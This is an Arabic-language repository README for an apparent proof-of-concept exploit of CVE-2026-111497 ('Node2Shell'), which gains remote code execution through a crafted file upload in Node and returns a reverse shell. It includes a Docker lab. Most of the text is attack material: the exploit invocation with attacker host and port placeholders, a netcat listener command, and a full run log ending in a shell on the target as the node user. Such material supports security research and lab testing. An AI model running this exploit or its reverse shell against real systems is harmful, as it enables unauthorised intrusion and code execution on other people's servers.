eqstlab/cve-2026-111497إثبات مفهوم للاستغلال (Proof-of-concept exploit) للثغرة CVE-2026-111497 (Node2Shell) يُفعّل تنفيذ التعليمات البرمجية عن بُعد عبر رفع ملف مُصمَّم خصيصًا ويُسلِّم صدفة عكسية (reverse shell)، مع بيئة مخبرية Docker.
استنسخ المستودع وابنِ بيئة Docker.
git clone https://github.com/EQSTLab/CVE-2026-111497.git
cd CVE-2026-111497
docker build -t cve-2026-111497 .
docker run -d --rm --name node2shell-lab -p 3000:3000 cve-2026-111497
شغّل PoC مع عنوان الهدف وإعدادات المستمع.
python poc.py [TARGET] -lhost [ATTACKER_IP] -lport [ATTACKER_PORT]
ابدأ المستمع لاستقبال اتصال الصدفة العكسية.
ncat -lvnp 4444
$ python poc.py 127.0.0.1:3000 -lhost 192.168.102.87 -lport 4444
EQST Lab | CVE-2026-111497 Node2Shell
target 127.0.0.1:3000 /upload
listener 192.168.102.87:4444
profile node 24.22.0 linux/amd64, fd 19
note start a listener first: nc -lvnp 4444
0.0s stream 22.0 MiB brotli, rop at +0x397
6.6s round 1 no hit (6.5s)
23.2s round 2 no hit (6.5s)
40.8s round 3 no hit (6.6s)
50.5s round 4 no hit (0.5s)
66.0s round 5 no hit (0.6s)
84.5s round 6 no hit (0.6s)
103.2s round 7 no hit (0.5s)
127.4s round 8 no hit (6.5s)
137.9s round 9 no hit (0.6s)
161.1s round 10 no hit (6.5s)
170.6s round 11 no hit (0.6s)
192.6s round 12 no hit (6.6s)
207.2s round 13 no hit (6.6s)
224.1s round 14 no hit (6.6s)
234.6s round 15 no hit (0.6s)
259.8s round 16 no hit (6.6s)
270.8s round 17 no hit (0.6s)
288.9s round 18 decoder hijacked (0.5s)
288.9s dispatch reverse shell to 192.168.102.87:4444
result code execution on round 18 of 50
shell waiting on 192.168.102.87:4444
C:\Users\user\Desktop>ncat -lvnp 4444
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.102.87:33437.
bash: cannot set terminal process group (272): Inappropriate ioctl for device
bash: no job control in this shell
node@d40e35dfad8a:/app$ id
id
uid=1000(node) gid=1000(node) groups=1000(node)